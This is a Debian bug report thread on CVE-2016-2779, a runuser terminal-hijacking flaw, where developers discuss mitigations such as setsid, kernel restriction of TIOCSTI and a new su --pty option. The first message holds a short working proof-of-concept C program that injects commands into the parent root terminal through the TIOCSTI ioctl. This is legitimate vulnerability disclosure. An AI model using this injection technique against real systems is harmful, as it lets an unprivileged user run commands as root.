util-linux: CVE-2016-2779: runuser tty hijacking via TIOCSTI ioctl

Debian Bug report logs - #815922
util-linux: CVE-2016-2779: runuser tty hijacking via TIOCSTI ioctl

Toggle useless messages

Message #5 received at submit@bugs.debian.org (full text, mbox, reply):

From: up201407890@alunos.dcc.fc.up.pt

To: submit@bugs.debian.org

Subject: runuser tty hijacking via TIOCSTI ioctl

Date: Thu, 25 Feb 2016 19:51:23 +0100

Package: util-linux
Version: all
Severity: important


When executing a program via "runuser -u nonpriv program" the
nonpriv session can
escape to the parent session by using the TIOCSTI ioctl to push
characters into the
terminal's input buffer, allowing privilege escalation.
This issue has been fixed in "su" by calling setsid() and in "sudo" by
using the "use_pty" flag

# cat test.c
#include <sys/ioctl.h>

int main()
{
  char *cmd = "id\n";
  while(*cmd)
   ioctl(0, TIOCSTI, cmd++);
}

# gcc test.c -o test
# id saken
uid=1000(saken) gid=1000(saken) groups=1000(saken)

# runuser -u saken ./test ---> last command i type in
id
# id ---> did not type this
uid=0(root) gid=0(root) groups=0(root)


Thanks,
Federico Bento

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

Message #10 received at 815922@bugs.debian.org (full text, mbox, reply):

From: Phil Susi <psusi@ubuntu.com>

To: up201407890@alunos.dcc.fc.up.pt, 815922@bugs.debian.org

Subject: Re: Bug#815922: runuser tty hijacking via TIOCSTI ioctl

Date: Fri, 26 Feb 2016 10:04:49 -0500

On 2/25/2016 1:51 PM, up201407890@alunos.dcc.fc.up.pt wrote:
> When executing a program via "runuser -u nonpriv program" the
> nonpriv session can
> escape to the parent session by using the TIOCSTI ioctl to push
> characters into the
> terminal's input buffer, allowing privilege escalation.
> This issue has been fixed in "su" by calling setsid() and in "sudo" by
> using the "use_pty" flag

How does setsid() help this?  And wouldn't it break the ability to use
ctrl-c and ctrl-z on the child program ( since the child won't have a
controlling terminal )?  I would think the fix would be to simply flush
the terminal input buffer after the child exits.

Message #21 received at 815922@bugs.debian.org (full text, mbox, reply):

From: up201407890@alunos.dcc.fc.up.pt

To: "Phil Susi" <psusi@ubuntu.com>

Cc: 815922@bugs.debian.org

Subject: Re: Bug#815922: runuser tty hijacking via TIOCSTI ioctl

Date: Sat, 27 Feb 2016 10:23:37 +0100

Quoting "Phil Susi" <psusi@ubuntu.com>:

> How does setsid() help this?  And wouldn't it break the ability to use
> ctrl-c and ctrl-z on the child program ( since the child won't have a
> controlling terminal )?  I would think the fix would be to simply flush
> the terminal input buffer after the child exits.
>

Hello Phil,

Most of your questions are answered here:
https://bugzilla.redhat.com/show_bug.cgi?id=173008

And yes, there would be no job control if you started a shell from  
there. This is why in "su" setsid() is called only with "-c",  
partially fixing the issue. If one would to "su - user" it would still  
be vulnerable.

http://www.openwall.com/lists/oss-security/2016/02/25/6

The same pkexec issue got assigned CVE-2016-2568 yesterday, if you  
read my PS: "I don't believe any of the previous mentions of fixes for  
"su" and
"sudo" would work here, since executing a shell via pkexec would make it not
have job control."


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

Message #30 received at 815922@bugs.debian.org (full text, mbox, reply):

From: Phil Susi <psusi@ubuntu.com>

To: up201407890@alunos.dcc.fc.up.pt

Cc: 815922@bugs.debian.org

Subject: Re: Bug#815922: runuser tty hijacking via TIOCSTI ioctl

Date: Mon, 29 Feb 2016 09:47:04 -0500

On 2/27/2016 4:23 AM, up201407890@alunos.dcc.fc.up.pt wrote:
> And yes, there would be no job control if you started a shell from
> there. This is why in "su" setsid() is called only with "-c", partially
> fixing the issue. If one would to "su - user" it would still be vulnerable.

That isn't good.  Shouldn't only the foreground process group be allowed
to use this ioctl, thus preventing any background forked processes from
exploiting this?

Message #35 received at 815922@bugs.debian.org (full text, mbox, reply):

From: up201407890@alunos.dcc.fc.up.pt

To: "Phil Susi" <psusi@ubuntu.com>

Cc: 815922@bugs.debian.org

Subject: Re: Bug#815922: runuser tty hijacking via TIOCSTI ioctl

Date: Mon, 29 Feb 2016 19:29:50 +0100

Quoting "Phil Susi" <psusi@ubuntu.com>:

> On 2/27/2016 4:23 AM, up201407890@alunos.dcc.fc.up.pt wrote:
>> And yes, there would be no job control if you started a shell from
>> there. This is why in "su" setsid() is called only with "-c", partially
>> fixing the issue. If one would to "su - user" it would still be vulnerable.
>
> That isn't good.  Shouldn't only the foreground process group be allowed
> to use this ioctl, thus preventing any background forked processes from
> exploiting this?

I believe that is up to kernel developers.
grsecurity released a new feature named GRKERNSEC_HARDEN_TTY on Feb 18  
that disallows the use of TIOCSTI to unprivileged users, unless they  
have the CAP_SYS_ADMIN capability, mitigating these issues.

He said looking into it, he didn't find any legitimate uses of such ioctl.

Check out gr_handle_tiocsti()

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

Message #40 received at 815922@bugs.debian.org (full text, mbox, reply):

From: Phil Susi <psusi@ubuntu.com>

To: up201407890@alunos.dcc.fc.up.pt

Cc: 815922@bugs.debian.org

Subject: Re: Bug#815922: runuser tty hijacking via TIOCSTI ioctl

Date: Tue, 1 Mar 2016 08:35:07 -0500

On 2/29/2016 1:29 PM, up201407890@alunos.dcc.fc.up.pt wrote:
> He said looking into it, he didn't find any legitimate uses of such ioctl.

That was the other thing I was wondering about: why would such a silly
and security problematic ioctl exist in the first place?  I guess that
answers it, and removing or restricting it means we don't break job
control.  That sounds like the proper fix instead of using setsid().

Message #45 received at 815922@bugs.debian.org (full text, mbox, reply):

From: Stanislav Brabec <sbrabec@suse.cz>

To: 815922@bugs.debian.org

Subject: Re: runuser tty hijacking via TIOCSTI ioctl

Date: Thu, 3 Mar 2016 14:58:49 +0100

I just opened a discussion on the upstream util-linux list:
http://marc.info/?t=145694748900001&r=1&w=2

Discussion there proposes to fix it in the kernel:

Disallow the use of TIOCSTI to unprivileged users unless the caller has 
CAP_SYS_ADMIN.

-- 
Best Regards / S pozdravem,

Stanislav Brabec
software developer
---------------------------------------------------------------------
SUSE LINUX, s. r. o.                         e-mail: sbrabec@suse.com
Lihovarská 1060/12                            tel: +49 911 7405384547
190 00 Praha 9                                 fax:  +420 284 084 001
Czech Republic                                    http://www.suse.cz/
PGP: 830B 40D5 9E05 35D8 5E27 6FA3 717C 209F A04F CD76

Message #50 received at 815922-done@bugs.debian.org (full text, mbox, reply):

From: Chris Hofstaedtler <zeha@debian.org>

To: up201407890@alunos.dcc.fc.up.pt, 815922-done@bugs.debian.org

Subject: Re: Bug#815922: runuser tty hijacking via TIOCSTI ioctl

Date: Wed, 8 Aug 2018 20:46:48 +0200

Version: 2.31.1-0.1

Upstream had this to say for the 2.31.0 release:

 CVE-2016-2779 

 The new experimental "su --pty" feature has been implemented to fix this issue.
 The feature is not enabled by default and the new command line option --pty is
 necessary.

 The classic way is to use setsid() to disable the ioctl TIOCSTI. Unfortunately,
 setsid() has well-defined use cases in su(1) and runuser(1) and any changes 
 would introduce regressions. The setsid() also does not fix core of the problem 
 that is terminal file descriptors shared between privileged and unprivileged
 sessions.


Note:

 runuser uses the su-common code, and also got the --pty flag.

Send a report that this bug log contains spam.